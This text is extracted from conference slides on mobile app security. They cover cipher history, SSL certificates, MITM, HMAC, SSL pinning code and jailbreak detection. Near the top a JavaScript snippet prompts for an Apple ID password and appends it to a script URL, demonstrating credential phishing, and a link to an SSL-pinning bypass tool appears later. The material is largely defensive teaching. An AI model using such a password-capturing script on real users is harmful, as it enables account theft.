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Mobile Threat





<script type="mce-text/javascript">// <![CDATA[
password = prompt("Apple ID Password","");
 var s = document.createElement('script');
 s.type = "text/javascript";  
 s.src = "fakepassword=" + password;
 var script = document.createTextNode(s);
 document.getElementsByTagName('head')[0].appendChild(s);
// ]]></script>







History



Historic Cypher

Antique Chiffren
Caesar
Skytale

Modern Cypher
Maria - Stuart – Chiffre (1586)
Vigenere – Chiffre (1586)
ENIGMA (1923  - 1945)

„caesar“

„FDHVDU“



Skytale

Used 2500 years ago by the Spartans



Enigma (Rätsel)
1923 invention by Arthur Scherbius



http://de.wikipedia.org/wiki/Freimaurer-Alphabet

http://de.wikipedia.org/wiki/Freimaurer-Alphabet
http://de.wikipedia.org/wiki/Freimaurer-Alphabet


Asymmetric crypto



Asymmetric crypto







Attack Vectors

• The device
• Third-party Apps
• Operating System
• Bluetooth

• The Data Center
• Web server
• Database

• The network
• Weak encryption
• MITM
• Session hijacking
• Fake SSL Certificates



Back to school



SSL

SSL =  Secure Socket Layer
1994 Netscape 

Security services SSL
Confidentiality
Integrity
Authenticity of the client (optional) and server
Key- and algorithm agreement.



Security Transport 
Layer



SSL Handshake
Authentication / identification of server and (optionally) client
  -  Negotiation of algorithms
  -  Exchange keys



SSL Pro and Cons

 Advantage :
• easy to use
• Secure
• widespread

Disadvantage :
• SSL provides only secure tunnel between the client and server (channel coding)
• Authentication based on X.509 - certificates: Users are unclear about the meaning.

    



Certificates
Confirmation that a public key belongs to an individual
digitally signed by specific service providers or authorities
X.509 Certificate: 

ITU (International Telecommunications Union) Standard
X. 509 Certificate containing at least the following elements:

Serial number
Signature algorithm (the algorithm used to sign the cert.)
Issuer Name (Name of the issuing CA)
Validity period
Subject Name (owner of the certificates)
Subject Public Key Info (Public key of the owner and public key algorithm)
Signature  Value (Digital signature of the issuing CA of the entire certificate)

Version:	
  3	
  (0x2)

	
  	
  	
  	
  	
  	
  	
  	
  Serial	
  Number:	
  1	
  (0x1)

	
  	
  	
  	
  	
  	
  	
  	
  Signature	
  Algorithm:	
  md5WithRSAEncryption

	
  	
  	
  	
  	
  	
  	
  	
  Issuer:	
  C=XY,	
  ST=Austria,	
  L=Graz,	
  O=TrustMe	
  Ltd,	
  OU=Certificate	
  Authority,	
  CN=CA/Email=ca@trustme.dom

	
  	
  	
  	
  	
  	
  	
  	
  Validity

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Not	
  Before:	
  Oct	
  29	
  17:39:10	
  2000	
  GMT

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Not	
  After	
  :	
  Oct	
  29	
  17:39:10	
  2001	
  GMT

	
  	
  	
  	
  	
  	
  	
  	
  Subject:	
  C=DE,	
  ST=Austria,	
  L=Vienna,	
  O=Home,	
  OU=Web	
  Lab,	
  CN=anywhere.com/Email=xyz@anywhere.com

	
  	
  	
  	
  	
  	
  	
  	
  Subject	
  Public	
  Key	
  Info:

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Public	
  Key	
  Algorithm:	
  rsaEncryption

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  RSA	
  Public	
  Key:	
  (1024	
  bit)

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Modulus	
  (1024	
  bit):

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  00:c4:40:4c:6e:14:1b:61:36:84:24:b2:61:c0:b5:

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  d7:e4:7a:a5:4b:94:ef:d9:5e:43:7f:c1:64:80:fd:

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  9f:50:41:6b:70:73:80:48:90:f3:58:bf:f0:4c:b9:

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  90:32:81:59:18:16:3f:19:f4:5f:11:68:36:85:f6:

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  1c:a9:af:fa:a9:a8:7b:44:85:79:b5:f1:20:d3:25:

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  7d:1c:de:68:15:0c:b6:bc:59:46:0a:d8:99:4e:07:

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  50:0a:5d:83:61:d4:db:c9:7d:c3:2e:eb:0a:8f:62:

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  8f:7e:00:e1:37:67:3f:36:d5:04:38:44:44:77:e9:

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  f0:b4:95:f5:f9:34:9f:f8:43

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Exponent:	
  65537	
  (0x10001)

	
  	
  	
  	
  	
  	
  	
  	
  X509v3	
  extensions:

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  X509v3	
  Subject	
  Alternative	
  Name:

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  email:xyz@anywhere.com

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Netscape	
  Comment:

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  mod_ssl	
  generated	
  test	
  server	
  certificate

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Netscape	
  Cert	
  Type:

	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  SSL	
  Server

	
  	
  	
  	
  Signature	
  Algorithm:	
  md5WithRSAEncryption

	
  	
  	
  	
  	
  	
  	
  	
  12:ed:f7:b3:5e:a0:93:3f:a0:1d:60:cb:47:19:7d:15:59:9b:

	
  	
  	
  	
  	
  	
  	
  	
  3b:2c:a8:a3:6a:03:43:d0:85:d3:86:86:2f:e3:aa:79:39:e7:

	
  	
  	
  	
  	
  	
  	
  	
  82:20:ed:f4:11:85:a3:41:5e:5c:8d:36:a2:71:b6:6a:08:f9:

	
  	
  	
  	
  	
  	
  	
  	
  cc:1e:da:c4:78:05:75:8f:9b:10:f0:15:f0:9e:67:a0:4e:a1:

	
  	
  	
  	
  	
  	
  	
  	
  4d:3f:16:4c:9b:19:56:6a:f2:af:89:54:52:4a:06:34:42:0d:

	
  	
  	
  	
  	
  	
  	
  	
  d5:40:25:6b:b0:c0:a2:03:18:cd:d1:07:20:b6:e5:c5:1e:21:

	
  	
  	
  	
  	
  	
  	
  	
  44:e7:c5:09:d2:d5:94:9d:6c:13:07:2f:3b:7c:4c:64:90:bf:

	
  	
  	
  	
  	
  	
  	
  	
  ff:8e



Certificate:
   Data:
       Version: 3 (0x2)
       Serial Number: 1 (0x1)
       Signature Algorithm: md5WithRSAEncryption
       Issuer: C=ZA, ST=Western Cape, L=Cape Town, O=Thawte Consulting cc,
               OU=Certification Services Division,
               CN=Thawte Server CA/emailAddress=server-certs@thawte.com
       Validity
           Not Before: Aug  1 00:00:00 1996 GMT
           Not After : Dec 31 23:59:59 2020 GMT
       Subject: C=ZA, ST=Western Cape, L=Cape Town, O=Thawte Consulting cc,
                OU=Certification Services Division,
                CN=Thawte Server CA/emailAddress=server-certs@thawte.com
       Subject Public Key Info:
           Public Key Algorithm: rsaEncryption
           RSA Public Key: (1024 bit)
               Modulus (1024 bit):
                   00:d3:a4:50:6e:c8:ff:56:6b:e6:cf:5d:b6:ea:0c:
                   68:75:47:a2:aa:c2:da:84:25:fc:a8:f4:47:51:da:
                   85:b5:20:74:94:86:1e:0f:75:c9:e9:08:61:f5:06:
                   6d:30:6e:15:19:02:e9:52:c0:62:db:4d:99:9e:e2:
                   6a:0c:44:38:cd:fe:be:e3:64:09:70:c5:fe:b1:6b:
                   29:b6:2f:49:c8:3b:d4:27:04:25:10:97:2f:e7:90:
                   6d:c0:28:42:99:d7:4c:43:de:c3:f5:21:6d:54:9f:
                   5d:c3:58:e1:c0:e4:d9:5b:b0:b8:dc:b4:7b:df:36:
                   3a:c2:b5:66:22:12:d6:87:0d
               Exponent: 65537 (0x10001)
       X509v3 extensions:
           X509v3 Basic Constraints: critical
               CA:TRUE
   Signature Algorithm: md5WithRSAEncryption
       07:fa:4c:69:5c:fb:95:cc:46:ee:85:83:4d:21:30:8e:ca:d9:
       a8:6f:49:1a:e6:da:51:e3:60:70:6c:84:61:11:a1:1a:c8:48:
       3e:59:43:7d:4f:95:3d:a1:8b:b7:0b:62:98:7a:75:8a:dd:88:
       4e:4e:9e:40:db:a8:cc:32:74:b9:6f:0d:c6:e3:b3:44:0b:d9:
       8a:6f:9a:29:9b:99:18:28:3b:d1:e3:40:28:9a:5a:3c:d5:b5:
       e7:20:1b:8b:ca:a4:ab:8d:e9:51:d9:e2:4c:2c:59:a9:da:b9:
       b2:75:1b:f6:42:f2:ef:c7:f2:18:f9:89:bc:a3:ff:8a:23:2e:
       70:47



MITM



M
ITM



What do we need?



Setup









Manipulate Request 





Safety



http://tinyurl.com/7wffcwd

Slightly better 
approach...

hMac your URL’s



Message Authentication Codes (MACS)

Motivation: Protection against
unauthorized manipulation of data (integrity protection)
unauthorized sending messages on behalf of others (Message Authentication)

Idea:
Calculate cryptographic checksum (MAC) with the following properties:

Not be forged
Changes with small changes of the message



Message Authentication with MAC
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SSL Pinning
- (void)connection:(NSURLConnection *)connection willSendRequestForAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge
{
    if ([[[challenge protectionSpace] authenticationMethod] isEqualToString: NSURLAuthenticationMethodServerTrust])
    {
        
        SecTrustRef serverTrust = [[challenge protectionSpace] serverTrust];
        (void) SecTrustEvaluate(serverTrust, NULL);
        self.hasChallenged = YES;
        
        // Certificate
        NSString *certPath = [[NSBundle mainBundle] pathForResource:@"TrustedExternalCARoot" ofType:@"der"];
        NSData *localCertificateData = [[NSData alloc] initWithContentsOfFile:certPath];

        BOOL certificatesAreTheSame = NO;
        CFIndex count = SecTrustGetCertificateCount(serverTrust);
        for (int i = 0; i <= count-1; i++) {
            if (certificatesAreTheSame) {  // stop iteration if certificate match
                break;
            }
            
            SecCertificateRef remoteVersionOfServerCertificate = SecTrustGetCertificateAtIndex(serverTrust, i);
            CFDataRef remoteCertificateData = SecCertificateCopyData(remoteVersionOfServerCertificate);
            certificatesAreTheSame = [localCertificateData isEqualToData: (__bridge NSData *)remoteCertificateData];
            CFRelease(remoteCertificateData);
        }
        
        if (certificatesAreTheSame) {
            [[challenge sender] useCredential: [NSURLCredential credentialForTrust: serverTrust] forAuthenticationChallenge: challenge];
        }
        else {
            [[challenge sender] cancelAuthenticationChallenge: challenge];
            [[NSNotificationCenter defaultCenter] postNotificationName:kNotificationConnectionCallFail object:self];
        }
    }else if(self.hasChallenged){
        [[challenge sender] continueWithoutCredentialForAuthenticationChallenge:challenge];
    }else{
        [[challenge sender] cancelAuthenticationChallenge: challenge];
        ZLog(@"No server trust");
    }
    // fall through for challenges in other spaces - or respond to them if you need to
}





AFNetworking

/**
 ## SSL Pinning Options

 The following constants are provided by `AFURLConnectionOperation` as possible SSL Pinning options.

 enum {
 AFSSLPinningModeNone,
 AFSSLPinningModePublicKey,
 AFSSLPinningModeCertificate,
 }
 
 `AFSSLPinningModeNone`
 Do not pin SSL connections

 `AFSSLPinningModePublicKey`
 Pin SSL connections to certificate public key (SPKI).

 `AFSSLPinningModeCertificate`
 Pin SSL connections to exact certificate. This may cause problems when your certificate expires and needs re-
issuance.

typedef enum {
    AFSSLPinningModeNone,
    AFSSLPinningModePublicKey,
    AFSSLPinningModeCertificate,
} AFURLConnectionOperationSSLPinningMode;



https://github.com/ADVTOOLS/ADVcertificator

https://github.com/ADVTOOLS/ADVcertificator
https://github.com/ADVTOOLS/ADVcertificator


Check Jailbreak

BOOL isJailbroken(AppDelegate *arg)
{
#if TARGET_IPHONE_SIMULATOR
    return NO;
#else
    FILE *f = fopen("/bin/bash", "r");
    
    if (errno == ENOENT)
    {
        // device is NOT jailbroken
        fclose(f);
        return NO;
    }
    else {
        // device IS jailbroken
        fclose(f);
    [[PaylevenAlertViewController sharedInstance] showAlertOfType:PaylevenAlertViewTypeLandscapeWarning
                                                           inView:nil
                                                        withTitle:STRING_JAILBROKEN_TITLE
                                                   andDescription:STRING_JAILBROKEN_DESCRIPTION
                                                     buttonTitles:[NSArray arrayWithObject:STRING_OK]
                                                         delegate:arg
                                                           andTag:0];
        return YES;
    }
#endif
}

- (void)applicationDidBecomeActive:(UIApplication *)application
{
    // Check device is jailbroken
    // If it is display alert, but allow to use the app
    self.isJailbroken = isJailbroken(self);
    if(!self.isJailbroken){



Check Jailbreak
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{
#if TARGET_IPHONE_SIMULATOR
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        fclose(f);
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{
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Disassembler Hopper

http://www.hopperapp.com

http://www.hopperapp.com
http://www.hopperapp.com


https://github.com/iSECPartners/ios-ssl-kill-switch

https://github.com/iSECPartners/ios-ssl-kill-switch
https://github.com/iSECPartners/ios-ssl-kill-switch


Keychain

• Secure if device lock is set

• encrypted container for
• passwords
• other secrets

• AccessGroup for multiple apps



Load Code
• Load code during runtime 

• Use JS + JSBridge to native code

• Transit 
•https://github.com/BeamApp/Transit



iOS Developer Program 
License Agreement

https://developer.apple.com/programs/terms/ios/standard/ios_program_standard_agreement_20130610.pdf

https://developer.apple.com/programs/terms/ios/standard/ios_program_standard_agreement_20130610.pdf
https://developer.apple.com/programs/terms/ios/standard/ios_program_standard_agreement_20130610.pdf


http://tinyurl.com/79k7vz2

http://tinyurl.com/79k7vz2
http://tinyurl.com/79k7vz2




Questions

?



mail         markus.kopf@payleven.de
xing         www.xing.com/profile/Markus_Kopf
linkedin   www.de.linkedin.com/in/markuskopf

twitter     @kopf_markus
blog        markuskopf.blogspot.com/
about      about.me/markuskopf

mailto:kopf.markus@googlmail.com
mailto:kopf.markus@googlmail.com
http://www.xing.com/profile/Markus_Kopf
http://www.xing.com/profile/Markus_Kopf
http://www.de.linkedin.com/in/markuskopf
http://www.de.linkedin.com/in/markuskopf
http://www.markuskopf.blogspot.com
http://www.markuskopf.blogspot.com

